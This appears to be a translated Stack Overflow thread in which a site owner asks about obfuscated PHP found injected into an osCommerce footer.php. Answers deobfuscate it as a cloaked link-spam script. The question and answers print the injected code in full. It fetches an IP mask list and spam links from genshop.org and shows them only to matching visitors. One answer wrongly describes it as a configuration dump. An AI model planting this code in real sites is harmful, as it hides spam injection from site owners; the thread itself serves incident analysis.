这段代码是漏洞吗?这段代码是什么?

时间:2011-05-31 18:56:00

标签: php exploit shellcode

我正在查看被某人/某事利用过的网站。该网站有一堆链接注入其页脚,链接到制药摊位,谁知道还有什么。页脚顶部有很多链接。我现在只能在Yahoo索引的缓存页面上找到它们。谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接。这是给客户的。所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处。

我在footer.php(它是一个OsCommerse网站)的'tip / top'找到了这个代码:

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>

当我查看具有“Bad”链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置。对谷歌的一点研究表明,有类似代码的漏洞存在。

您如何看待,当我在自己的服务器上运行时,我得到的只是源代码中的回显评论,如下所示:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 -->

我不想匆匆删除代码,只是因为它看起来很糟糕而说“你的好”,特别是因为我没有立即知道'坏链接'消失了。顺便说一下,这些链接都会转到死网址。

您可以看到仍在雅虎缓存的错误页面: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--

3 个答案:

答案 0 :(得分:3)

似乎引用/加载两个网址:

这只是一个垃圾邮件分发脚本。


对于部分非混淆使用:

print preg_replace('#"[^"]+\\\\\w+"#e', "stripcslashes('$0')", $source);

答案 1 :(得分:2)

它主要是尝试转储有关正在运行的配置的信息。立即将其移除。

它的工作方式非常复杂,超出了我的范围,但它是黑客入侵网站的第一步。

答案 2 :(得分:2)

这是未经模糊处理的脚本(或多或少)

只是将this url的内容转储到您的网页上

它还会检查remote_addr与list of IPs(谷歌等)以试图保持未被发现。

看起来你正被genshop.com

所取代
<?php

 $count="cou\156\x74"; // count 
 $error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting
 $file="\146\151l\x65"; // file
 $file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents
 $strlen="\163\x74rle\156"; // strlen
 $strpos="\163tr\160o\x73"; // strpos
 $substr="su\x62\x73\164\162"; // substr
 $trim="tr\151m"; //trim

ini_set(' display_errors','off');
$error_reporting(0);

$x0b = "http://genshop.org/scripts/mask.txt";
$url = $x0b;
$tmp = "REMOTE_ADDR";
$x0d = $_SERVER[$tmp];
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt";

$IPs = @ $file($url);
for ( $i = 0; $i < $count($IPs); $i++ ) {
    $curr_ip = $trim($ips[$i]);
        if ( $curr_ip != "" ) {
            if ( ($x11 = $strpos($curr_ip, "*")) !== false )
                $curr_ip = $substr($curr_ip, 0,$x11);

            // check visitor ip against mask list
            if ( $strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0 ) {
                $x12 = $file_get_content($tmp_filename);
                echo "$x12";
                // print spam contents
            }
        }
    }
echo $curr_ip;
}

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";
echo $tmp2;
?>